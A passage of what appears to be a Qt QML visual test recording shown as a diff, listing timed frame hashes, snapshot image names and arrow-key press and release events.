"f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2752 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2768 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2784 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2800 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2816 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2832 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2848 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2864 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2880 + image: "test3.2.png" + } + Frame { + msec: 2896 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2912 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2928 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2944 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2960 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2976 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2992 + hash: "d707cb6e2587eecba275d1e7ceb9d020" + } + Frame { + msec: 3008 + hash: "fddd144d4d2e475330ff87f4e6febe35" + } + Frame { + msec: 3024 + hash: "06115e65296d1a77ab956cd3984303ee" + } + Frame { + msec: 3040 + hash: "6881ec448625fdc23f1241bd60362460" + } + Frame { + msec: 3056 + hash: "d94fdfd178377328e3b840c32f774958" + } + Frame { + msec: 3072 + hash: "d2cba0b3aac8002aa2de51f7b1442985" + } + Frame { + msec: 3088 + hash: "c0ea81cddf6b1f5b4b4157dade6b8ca0" + } + Frame { + msec: 3104 + hash: "964a80740cc7ba474d5d10b76cca1b14" + } + Frame { + msec: 3120 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3136 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3152 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3168 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3184 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3200 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3216 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3232 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3248 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3264 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3280 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3296 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3312 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3328 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3344 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3360 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3376 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3392 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3408 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3424 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3440 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3456 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3472 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 3488 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3504 + hash: "56634199c96e5c4588c2954f0595fcaa" + } + Frame { + msec: 3520 + hash: "a51221b77045e51cba2b0913546961cb" + } + Frame { + msec: 3536 + hash: "9910569a15164882056802e5ecfaef42" + } + Frame { + msec: 3552 + hash: "17080817e0b23212828d2cee23eff98f" + } + Frame { + msec: 3568 + hash: "791fee9758645fe21fe52918e5435f7d" + } + Frame { + msec: 3584 + hash: "e0fcea2889a4825075322524025a4bdf" + } + Frame { + msec: 3600 + hash: "825f58093f328182fa32b3cbc573101f" + } + Frame { + msec: 3616 + hash: "550972282584bd52108728290bd4aa5e" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3632 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3648 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3664 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3680 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3696 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3712 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3728 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3744 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3760 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3776 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3792 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3808 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3824 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3840 + image: "test3.3.png" + } + Frame { + msec: 3856 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3872 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3888 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3904 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3920 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3936 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3952 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3968 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 3984 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 4000 + hash: "a2386a0135e8ffd9f2ac12345ede3553" + } + Frame { + msec: 4016 + hash: "9550cdc0032bc3ea0a611f2584f43cca" + } + Frame { + msec: 4032 + hash: "3f39909102a04f0e41a97b10dde4425a" + } + Frame { + msec: 4048 + hash: "535d56a4d450cf0222f94573a88bbf80" + } + Frame { + msec: 4064 + hash: "c4b782cfb9399689b0cbfc2a97305984" + } + Frame { + msec: 4080 + hash: "23604b04198d53e0ba4a0955d8bcf124" + } + Frame { + msec: 4096 + hash: "a440962d680f70eb47af38a91390b8c0" + } + Frame { + msec: 4112 + hash: "da4b079f00248a073ce49f749ff0cc77" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 4128 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4144 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4160 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4176 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4192 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4208 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4224 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4240 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4256 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4272 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4288 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4304 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4320 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4336 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4352 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4368 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4384 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4400 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4416 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4432 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4448 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4464 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4480 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4496 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4512 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4528 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4544 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4560 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4576 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4592 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4608 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4624 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4640 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4656 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4672 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4688 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4704 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4720 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4736 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4752 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4768 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4784 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4800 + image: "test3.4.png" + } + Frame { + msec: 4816 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4832 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4848 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4864 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4880 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4896 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4912 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4928 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4944 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4960 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4976 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 4992 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 5008 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 5024 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 5040 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 5056 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 5072 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 5088 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Frame { + msec: 5104 + hash: "861a8438a60e8a937d96f6b11fa1e3b3" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 5120 + hash: "58be5253b74ac1cecf08714e670e30af" + } + Frame { + msec: 5136 + hash: "a8e15f6e28a67941730f9cfe8ea7f0ff" + } + Frame { + msec: 5152 + hash: "f1bfd2e2cd3a3ff08ae36e785d33e626" + } + Frame { + msec: 5168 + hash: "b61fd5c58ddaf806e72d77bed92e91f3" + } + Frame { + msec: 5184 + hash: "f192f6b779fa6bdfd4bc9c8671dd3147" + } + Frame { + msec: 5200 + hash: "1cf034cfdfe3cafa832e28950c90d67b" + } + Frame { + msec: 5216 + hash: "b0d2223f7f2c302784654f03cb3a5c1c" + } + Frame { + msec: 5232 + hash: "19d089ac37fd42c1be99facd38a954e3" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 5248 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5264 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5280 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5296 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5312 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5328 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5344 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5360 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5376 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5392 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5408 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5424 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5440 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5456 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5472 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5488 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5504 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5520 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5536 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5552 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5568 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5584 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5600 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5616 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5632 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5648 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5664 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5680 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5696 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Frame { + msec: 5712 + hash: "0cf213791ef1263f9dfc867df96e8211" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 5728 + hash: "51db47388acad98d18a8a2aaca279dba" + } + Frame { + msec: 5744 + hash: "c83747a4356fa12593020452dbf43fe8" + } + Frame { + msec: 5760 + image: "test3.5.png" + } + Frame { + msec: 5776 + hash: "39d476722de92703d0a2259b5c62554e" + } + Frame { + msec: 5792 + hash: "3f01e465470c3d5ab58b52f3e1517374" + } + Frame { + msec: 5808 + hash: "63570753ba8c5f1525bf4cee38e8cad8" + } + Frame { + msec: 5824 + hash: "31beab91ef4cadcf0b379b32786530ac" + } + Frame { + msec: 5840 + hash: "46cd2e22eb4ef988752e2b3441bdd450" + } + Frame { + msec: 5856 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 5872 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 5888 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 5904 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 5920 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 5936 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 5952 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 5968 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 5984 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6000 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6016 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6032 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6048 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6064 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6080 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6096 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6112 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6128 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6144 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6160 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6176 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6192 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6208 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6224 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6240 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6256 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Frame { + msec: 6272 + hash: "3e44d7064e55c510401b5008a06d9b82" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 6288 + hash: "78c4aaf2427e0aa9b6d11ddf95df55f7" + } + Frame { + msec: 6304 + hash: "d4859df2de6afa90c1997b1b4d6448ab" + } + Frame { + msec: 6320 + hash: "f885e6a8cc09d06985a83f60e29a0a34" + } + Frame { + msec: 6336 + hash: "41f27dbf80b0bc00498962162a5fe9db" + } + Frame { + msec: 6352 + hash: "41800797032deeed5ccc87375b4093cb" + } + Frame { + msec: 6368 + hash: "253276d23d8a0f195155361a27403496" + } + Frame { + msec: 6384 + hash: "274bf40aacababde8fde71abf065d1aa" + } + Frame { + msec: 6400 + hash: "86071a6486d35d3c10f318ab6bac7577" + } + Frame { + msec: 6416 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 6432 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6448 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6464 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6480 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6496 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6512 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6528 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6544 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6560 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6576 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6592 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6608 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6624 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6640 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6656 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6672 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6688 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6704 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6720 + image: "test3.6.png" + } + Frame { + msec: 6736 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6752 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6768 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6784 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6800 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6816 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6832 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 6848 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 6864 + hash: "eea514e956369c55f9fe9bfc5b8bbda4" + } + Frame { + msec: 6880 + hash: "b28436abb5ce17310b63ed96a7034000" + } + Frame { + msec: 6896 + hash: "40c656f467200785a951dd8f98cf28f5" + } + Frame { + msec: 6912 + hash: "38c6c6b29c9a7f0eba87a538a336c338" + } + Frame { + msec: 6928 + hash: "b3f939577616f8ded1e11ee6e6dce882" + } + Frame { + msec: 6944 + hash: "d72b00208712f039a5d7a06fbfacd4bd" + } + Frame { + msec: 6960 + hash: "c7a079a37f6bd7a8da706e6ba5d048ee" + } + Frame { + msec: 6976 + hash: "561cdf098bdc35fc852fbe8fff2471e2" + } + Frame { + msec: 6992 + hash: "0461d0e31648d2c155bee0145094c153" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 7008 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7024 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7040 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7056 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7072 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7088 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7104 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7120 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7136 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7152 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7168 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7184 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7200 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7216 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7232 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7248 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7264 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7280 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7296 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7312 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7328 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7344 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7360 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7376 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7392 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7408 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7424 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 7440 + hash: "0461d0e31648d2c155bee0145094c153" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 7456 + hash: "096530df53ed21214cf93381ac0d23ea" + } + Frame { + msec: 7472 + hash: "36e7cee0725fb16c5d7e08875a3b88f7" + } + Frame { + msec: 7488 + hash: "a2b68c7e9e4ef04c1429190d01a3288b" + } + Frame { + msec: 7504 + hash: "6ee23f5d2c0ddc21499c8685ae46df64" + } + Frame { + msec: 7520 + hash: "dc423d32154882b99b7bde596697c83a" + } + Frame { + msec: 7536 + hash: "e82852d1d2a21f67029870601b00b124" + } + Frame { + msec: 7552 + hash: "7cd2773c33d7f34feb3b1e4752f63753" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 7568 + hash: "2371f0ddf1b0ddcdb36f24e72b62d3a5" + } + Frame { + msec: 7584 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7600 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7616 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7632 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7648 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7664 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7680 + image: "test3.7.png" + } + Frame { + msec: 7696 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7712 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7728 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7744 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7760 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7776 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7792 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7808 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7824 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7840 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7856 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7872 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7888 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7904 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7920 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7936 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7952 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 7968 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 7984 + hash: "93fd3abe0b99ed76d880f6f059636335" + } + Frame { + msec: 8000 + hash: "a273ec355c79968013c70aca1b2d5737" + } + Frame { + msec: 8016 + hash: "6b2df83c0645530ca007cde136838725" + } + Frame { + msec: 8032 + hash: "47d5ed89f7e9c89df33bab14ca967f77" + } + Frame { + msec: 8048 + hash: "c777e0d1a1f03e7a1bc16483f98c0622" + } + Frame { + msec: 8064 + hash: "ac7e693d7dbc8e8ff2318cb611b68b76" + } + Frame { + msec: 8080 + hash: "593e9711ae94a5b4f49544e0cf26d188" + } + Frame { + msec: 8096 + hash: "afce51158cb19dd6ae8c72ce19964251" + } + Frame { + msec: 8112 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 8128 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8144 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8160 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8176 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 8192 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + 